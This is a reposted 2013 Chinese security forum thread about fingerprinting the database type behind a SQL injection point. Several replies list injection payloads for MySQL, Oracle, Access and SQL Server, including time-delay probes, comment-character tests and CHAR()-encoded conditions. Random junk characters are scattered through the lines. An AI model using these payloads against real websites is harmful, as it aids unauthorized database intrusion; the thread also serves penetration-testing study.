找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1903|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
. d' }9 E* Z; S0 [5 E' lxsser (十根阳具有长短!!) | 2013-02-05 12:36
* i7 x% B: U$ z- R假设这么一个注射点:
- T2 i2 o& E0 G% s9 F- O% |% @8 v- oshow.html?id=2, k! @: w% ^# B, b6 i3 M/ a
mysql:id=2 and version()>0
* a4 R0 ?, E2 J3 H" l/ y+ \oracle:id=2 and '1'||'1'='11) p3 v. [. a% h3 Y! n, E; _3 C0 _* G
其他的欢迎补充
, ^* G* J/ A; B& G+ F0 M- b1#
, _- ]& w+ k  pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:476 U4 v8 M- X0 Y5 j6 S, w
Access:: M# d! p2 B+ Q8 U. ?3 r- b
aNd aSc(cHr(97))=97
. m- T2 i( F4 ^# |and exists(select id from MSysAccessObjects)
$ G# ]" g: G1 W  O: G; ]9 DSQL Server:5 D* |, C$ U0 @$ T* l& `6 H& F
and exists(select id from sysobjects)
& O& Y5 ~/ ?4 {1 K' @/ A; dand length(user)>0
/ k, R" K* \; I* T8 `# z# Y1 mMySQL:' }) R3 n5 z6 [- W. u% T5 i
and length(user())>0
3 V- ^. Q5 Y3 h7 X2#
9 j3 p6 Q# P0 f1 b; X' Z4 [xsser (十根阳具有长短!!) | 2013-02-05 12:48; A6 B1 G  ~; j$ w9 J$ N" w  s4 W
@upload 如果这些都不是呢…
$ k1 e  C2 Y, b2 R. N. I6 ]3#; ?- T9 ^# `" h
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
; n' U* D, T) m3 {; \@xsser 不快速的,延时注入
+ M7 C, R1 L+ D+ l6 s不知道这样写对不对
' ^  Z  l' u6 O4 G5 \mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
9 ^+ X- h3 d3 [" ymysql:id=2 and select benchmark(1e8,current_date());
9 l' d2 R1 k7 Q0 x! Z4#
9 A0 N2 v! J- bupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10/ \/ q) W" q$ b2 r
最快的貌似是看报错信息7 n: I, F+ t5 a, J: _1 v& n
oracle error. b" P! [: {) l5 d1 \5 u+ z
mssql error" g5 T9 s. G. e. ~8 G4 H- }4 k
mysql error' b3 R1 Z- Z* X# [
5#
3 B* o" k1 M! ENimda (你们都是坏银~) | 2013-02-05 13:14
; a4 X: I: |6 F小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
( N! l& R8 N( H* F. p) l6#
( E& f- L$ e8 V; wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
/ ~, `0 a  d$ Z/ f0 g7 |" w“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
3 l* |. h( j( M$ [! u4 m* t% y“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:7 w% \: h6 K& }, Q1 N- @/ p
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
' O0 u! b, p8 n1 I7#
6 J( s' V, i' g3 y# ^7 H_Evil (HackEnd) | 2013-02-05 13:33* I% o& s1 l( {
PostgreSQL
) m8 l' i/ [- D, ~8 N8#) ~" ~! M6 J3 W$ `2 w' j
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
* ?$ c0 b2 i% L' S, L3 v切换编码 and 1=1& h6 c& N1 y  C/ T4 j
oracle:5 r, q4 {6 E1 [$ Z
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
& V' x6 M& u1 T$ A2 Kmssql:, Z: o; ]1 @* }, |+ O
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
1 z7 {! Q& n) _! H& Kmysql:
5 T' r# |: N( b4 M9 B# z6 y6 ^CHAR(97, 110, 100, 32, 49, 61, 49)
* B1 z3 e* ~- }! l1 D  ]$ J0 M7 p3 [9#5 L5 s$ F" Y) B2 I, H  S1 a
xsser (十根阳具有长短!!) | 2013-02-05 14:31! E7 ]% O2 }2 ?5 R- ?, e
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
( I( v3 z0 R/ q6 `) R9 z10#
9 |' ]* j* j! F" a# }' F( L+ }upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
0 s8 J9 B* H" @: h+ A" p@xsser 是奇葩数据库类型的么?
" p. ?- a6 _, r  d9 Q2 B根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:7 u2 [0 C. m+ t: r
1.是否可以使用特定的函数来判断,该数据库特有的
- V! ?5 ?2 ^1 e0 }  u2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等  b, @0 N& w5 ]  {* h+ d, p# }( v
3.是否可以编码查询: g* I! d- F# O
4.是否显可以利用错信息$ E) R7 V3 Y( s
5.是否存在数据库某些特性辅助判断4 B1 o/ s7 K& ^5 A/ Q
个人见解) @; \& N7 N* ?9 \8 J, P/ @
11#
3 B: {7 Y# `: l& z5 P小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
% r# y$ ^2 v% O0 S, d# ?9 k已收藏,mssql可以直接看到错误提示的吧~, J: ]0 T" P# e9 O. a
12#
1 b! \( P# @* [  o7 O, z2 CPasser_by | 2013-02-05 15:09# A( `8 e* g) N( l
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。6 V( w7 I% ~+ @- Q* S- G$ W6 A& {
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表